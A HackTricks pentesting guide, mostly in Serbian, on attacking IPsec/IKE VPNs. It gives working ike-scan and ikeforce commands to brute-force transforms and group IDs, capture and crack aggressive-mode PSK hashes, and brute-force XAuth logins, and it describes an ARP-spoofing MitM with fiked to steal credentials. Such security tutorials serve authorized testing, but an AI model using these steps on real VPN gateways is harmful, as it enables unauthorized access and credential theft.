hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

270 lines
18 KiB
Markdown

# 500/udp - Pentesting IPsec/IKE VPN
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
## Osnovne informacije
**IPsec** je široko prepoznat kao glavna tehnologija za obezbeđivanje komunikacija između mreža (LAN-to-LAN) i od udaljenih korisnika do mrežnog prolaza (udaljeni pristup), služeći kao osnovna infrastruktura za rešenja VPN za preduzeća.
Usmeravanje **bezbednosne asocijacije (SA)** između dva mesta upravlja **IKE**, koji funkcioniše pod okriljem ISAKMP, protokola dizajniranog za autentifikaciju i razmenu ključeva. Ovaj proces se odvija u nekoliko faza:
* **Faza 1:** Stvara se siguran kanal između dva krajnja tačke. To se postiže korišćenjem Pre-Shared Ključa (PSK) ili sertifikata, koristeći ili glavni režim, koji uključuje tri para poruka, ili **agresivni režim**.
* **Faza 1.5:** Iako nije obavezna, ova faza, poznata kao Faza proširene autentifikacije, verifikuje identitet korisnika koji pokušava da se poveže zahtevajući korisničko ime i lozinku.
* **Faza 2:** Ova faza je posvećena pregovorima o parametrima za obezbeđivanje podataka sa **ESP** i **AH**. Omogućava korišćenje algoritama različitih od onih u Fazi 1 kako bi se osigurala **Perfect Forward Secrecy (PFS)**, poboljšavajući bezbednost.
**Podrazumevani port:** 500/udp
## **Otkrijte** uslugu koristeći nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Pronalaženje validne transformacije**
IPSec konfiguracija može biti pripremljena da prihvati samo jednu ili nekoliko transformacija. Transformacija je kombinacija vrednosti. **Svaka transformacija** sadrži niz atributa kao što su DES ili 3DES kao **algoritam enkripcije**, SHA ili MD5 kao **algoritam integriteta**, pre-shared key kao **tip autentifikacije**, Diffie-Hellman 1 ili 2 kao **algoritam distribucije ključeva** i 28800 sekundi kao **vreme trajanja**.
Dakle, prva stvar koju treba da uradite je da **pronađete validnu transformaciju**, kako bi server mogao da komunicira sa vama. Da biste to uradili, možete koristiti alat **ike-scan**. Po defaultu, Ike-scan radi u glavnom režimu i šalje paket ka gateway-u sa ISAKMP header-om i jednim predlogom sa **osam transformacija unutar njega**.
U zavisnosti od odgovora, možete dobiti neke informacije o krajnjoj tački:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Kao što možete videti u prethodnom odgovoru, postoji polje pod nazivom **AUTH** sa vrednošću **PSK**. To znači da je VPN konfigurisan koristeći prethodno podeljeni ključ (i to je zaista dobro za pentestera).\
**Vrednost poslednje linije je takođe veoma važna:**
* _0 vraćen handshake; 0 vraćen notify:_ To znači da cilj **nije IPsec gateway**.
* _**1 vraćen handshake; 0 vraćen notify:**_ To znači da je **cilj konfigurisan za IPsec i spreman je da izvrši IKE pregovaranje, i jedan ili više transformacija koje ste predložili su prihvatljive** (važa transformacija će biti prikazana u izlazu).
* _0 vraćen handshake; 1 vraćen notify:_ VPN gateway-i odgovaraju sa notify porukom kada **nijedna od transformacija nije prihvatljiva** (iako neki gateway-i to ne rade, u tom slučaju treba pokušati dalju analizu i revidirani predlog).
Dakle, u ovom slučaju već imamo važeću transformaciju, ali ako ste u 3. slučaju, onda treba da **brute-force-ujete malo da pronađete važeću transformaciju:**
Prvo što treba da uradite je da kreirate sve moguće transformacije:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
I zatim izvršite brute-force na svakom koristeći ike-scan (ovo može potrajati nekoliko minuta):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Ako brute-force nije uspeo, možda server odgovara bez rukovanja čak i na važeće transformacije. Tada možete pokušati isti brute-force, ali koristeći agresivni režim:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Nadamo se da će **važeća transformacija biti vraćena**.\
Možete pokušati **istu napad** koristeći [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Takođe možete pokušati da brute force-ujete transformacije sa [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (617).png>)
U **DH grupi: 14 = 2048-bit MODP** i **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (u ovom slučaju). Format `--trans` je $Enc,$Hash,$Auth,$DH**
Cisco ukazuje da se izbegava korišćenje DH grupa 1 i 2 jer nisu dovoljno jake. Stručnjaci veruju da **zemlje sa mnogo resursa lako mogu da provale enkripciju** podataka koji koriste ove slabe grupe. To se radi korišćenjem posebne metode koja ih priprema da brzo razbiju kodove. Iako postavljanje ove metode košta mnogo novca, omogućava ovim moćnim zemljama da čitaju enkriptovane podatke u realnom vremenu ako koriste grupu koja nije jaka (kao što je 1,024-bit ili manja).
### Fingerprinting servera
Zatim, možete koristiti ike-scan da pokušate da **otkrijete dobavljača** uređaja. Alat šalje inicijalni predlog i prestaje da ponavlja. Zatim će **analizirati** razliku u **vremenu** **između** primljenih **poruka** sa servera i odgovarajućeg obrasca odgovora, pentester može uspešno da identifikuje dobavljača VPN prolaza. Štaviše, neki VPN serveri će koristiti opcioni **Vendor ID (VID) payload** sa IKE.
**Specifikujte važeću transformaciju ako je potrebno** (koristeći --trans)
Ako IKE otkrije koji je dobavljač, odštampace to:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Ovo se takođe može postići sa nmap skriptom _**ike-version**_
## Pronalaženje ispravnog ID-a (imena grupe)
Da biste bili u mogućnosti da uhvatite hash, potrebna vam je važeća transformacija koja podržava Agresivni režim i ispravan ID (ime grupe). Verovatno nećete znati važeće ime grupe, pa ćete morati da ga brute-forcujete.\
Da biste to uradili, preporučujem vam 2 metode:
### Bruteforcing ID sa ike-scan
Prvo pokušajte da pošaljete zahtev sa lažnim ID-jem pokušavajući da prikupite hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Ako **nema hash-a**, onda verovatno ova metoda brute-forcing-a će raditi. **Ako se neki hash vrati, to znači da će lažni hash biti poslat za lažni ID, tako da ova metoda neće biti pouzdana** za brute-force ID. Na primer, lažni hash bi mogao biti vraćen (to se dešava u modernim verzijama):
![](<../.gitbook/assets/image (917).png>)
Ali ako, kao što sam rekao, nema hash-a, onda bi trebalo da pokušate da brute-force-ujete uobičajena imena grupa koristeći ike-scan.
Ovaj skript **će pokušati da brute-force-uje moguće ID-e** i vratiće ID-e gde je vraćen validan handshake (to će biti validno ime grupe).
Ako ste otkrili specifičnu transformaciju, dodajte je u ike-scan komandu. A ako ste otkrili nekoliko transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih ne radi ispravno).
Možete koristiti [rečnik ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) ili [onaj u seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) sa uobičajenim imenima grupa da ih brute-force-ujete:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
Or use this dict (is a combination of the other 2 dicts without repetitions):
{% file src="../.gitbook/assets/vpnIDs.txt" %}
### Bruteforcing ID with Iker
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) takođe koristi **ike-scan** za bruteforce mogućih imena grupa. Prati svoju metodu da **pronađe važeći ID na osnovu izlaza ike-scan**.
### Bruteforcing ID with ikeforce
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) je alat koji se može koristiti za **bruteforce ID-eva takođe**. Ovaj alat će **pokušati da iskoristi različite ranjivosti** koje bi mogle biti korišćene da **razlikuju važeći i nevažeći ID** (mogu imati lažne pozitivne i lažne negativne rezultate, zato preferiram da koristim metodu ike-scan ako je moguće).
Podrazumevano **ikeforce** će na početku poslati neke nasumične id-ove da proveri ponašanje servera i odredi taktiku koja će se koristiti.
* **Prva metoda** je da se bruteforce imena grupa tako što se **traži** informacija **Dead Peer Detection DPD** Cisco sistema (ove informacije server ponovo šalje samo ako je ime grupe tačno).
* **Druga metoda** koja je dostupna je da **proverava broj odgovora poslatih na svaki pokušaj** jer se ponekad šalje više paketa kada se koristi tačan id.
* **Treća metoda** se sastoji u **traženju "INVALID-ID-INFORMATION" kao odgovor na neispravan ID**.
* Na kraju, ako server ne odgovara na provere, **ikeforce** će pokušati da bruteforce-uje server i proveri da li kada se pošalje tačan id server odgovara nekim paketom.\
Očigledno, cilj bruteforce-a id-a je da se dobije **PSK** kada imate važeći id. Zatim, sa **id** i **PSK** moraćete da bruteforce-ujete XAUTH (ako je omogućen).
Ako ste otkrili specifičnu transformaciju, dodajte je u ikeforce komandu. A ako ste otkrili nekoliko transformacija, slobodno dodajte novu petlju da ih sve isprobate (trebalo bi da ih isprobate sve dok jedna od njih ne funkcioniše ispravno).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID
(From the book **Network Security Assessment: Know Your Network**): Takođe je moguće dobiti važeće korisničke nazive presretanjem veze između VPN klijenta i servera, jer je prvi paket agresivnog moda koji sadrži ID klijenta poslat u čistom obliku.
![](<../.gitbook/assets/image (891).png>)
## Capturing & cracking the hash
Na kraju, ako ste pronašli **važeću transformaciju** i **ime grupe** i ako je **agresivni mod dozvoljen**, onda možete vrlo lako uhvatiti hash koji se može probiti:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
Hash će biti sačuvan unutar _hash.txt_.
Možete koristiti **psk-crack**, **john** (koristeći [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) i **hashcat** da **crack**-ujete hash:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
**Agresivni način IKE** u kombinaciji sa **Pre-Shared Key (PSK)** se često koristi za **grupnu autentifikaciju**. Ova metoda je pojačana sa **XAuth (Proširena autentifikacija)**, koja služi da uvede dodatni sloj **autentifikacije korisnika**. Takva autentifikacija obično koristi usluge kao što su **Microsoft Active Directory**, **RADIUS**, ili slični sistemi.
Prelazak na **IKEv2** donosi značajnu promenu gde se **EAP (Proširivi protokol autentifikacije)** koristi umesto **XAuth** za autentifikaciju korisnika. Ova promena naglašava evoluciju u praksama autentifikacije unutar sigurnih komunikacionih protokola.
### Lokalna mreža MitM za hvatanje kredencijala
Tako možete uhvatiti podatke o prijavljivanju koristeći _fiked_ i videti da li postoji neki podrazumevani korisnički naziv (Morate preusmeriti IKE saobraćaj na `fiked` za snimanje, što se može uraditi uz pomoć ARP spoofinga, [više informacija](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked će delovati kao VPN krajnja tačka i uhvatiće XAuth kredencijale:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Takođe, koristeći IPSec pokušajte da izvršite MitM napad i blokirate sav saobraćaj ka portu 500, ako IPSec tunel ne može da se uspostavi, možda će saobraćaj biti poslat u čistom obliku.
### Brute-forcing XAUTH korisničko ime i lozinku sa ikeforce
Da biste brute-forcovali **XAUTH** (kada znate važeće ime grupe **id** i **psk**) možete koristiti korisničko ime ili listu korisničkih imena i listu lozinki:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
Na ovaj način, ikeforce će pokušati da se poveže koristeći svaku kombinaciju korisničkog imena:lozinke.
Ako ste pronašli jednu ili više validnih transformacija, jednostavno ih koristite kao u prethodnim koracima.
## Autentifikacija sa IPSEC VPN-om
U Kali, **VPNC** se koristi za uspostavljanje IPsec tunela. **Profili** moraju biti smešteni u direktorijumu `/etc/vpnc/`. Možete pokrenuti ove profile koristeći komandu _**vpnc**_.
Sledeće komande i konfiguracije ilustruju proces postavljanja VPN veze sa VPNC:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
U ovoj konfiguraciji:
* Zamenite `[VPN_GATEWAY_IP]` sa stvarnom IP adresom VPN prolaza.
* Zamenite `[VPN_CONNECTION_ID]` sa identifikatorom za VPN vezu.
* Zamenite `[VPN_GROUP_SECRET]` sa grupnom tajnom VPN-a.
* Zamenite `[VPN_USERNAME]` i `[VPN_PASSWORD]` sa autentifikacionim podacima za VPN.
* `[PID]` simbolizuje ID procesa koji će biti dodeljen kada `vpnc` inicira.
Osigurajte da se koriste stvarne, sigurne vrednosti za zamenu mesta kada konfigurišete VPN.
## Referentni materijal
* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3rd Edition
## Shodan
* `port:500 IKE`
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}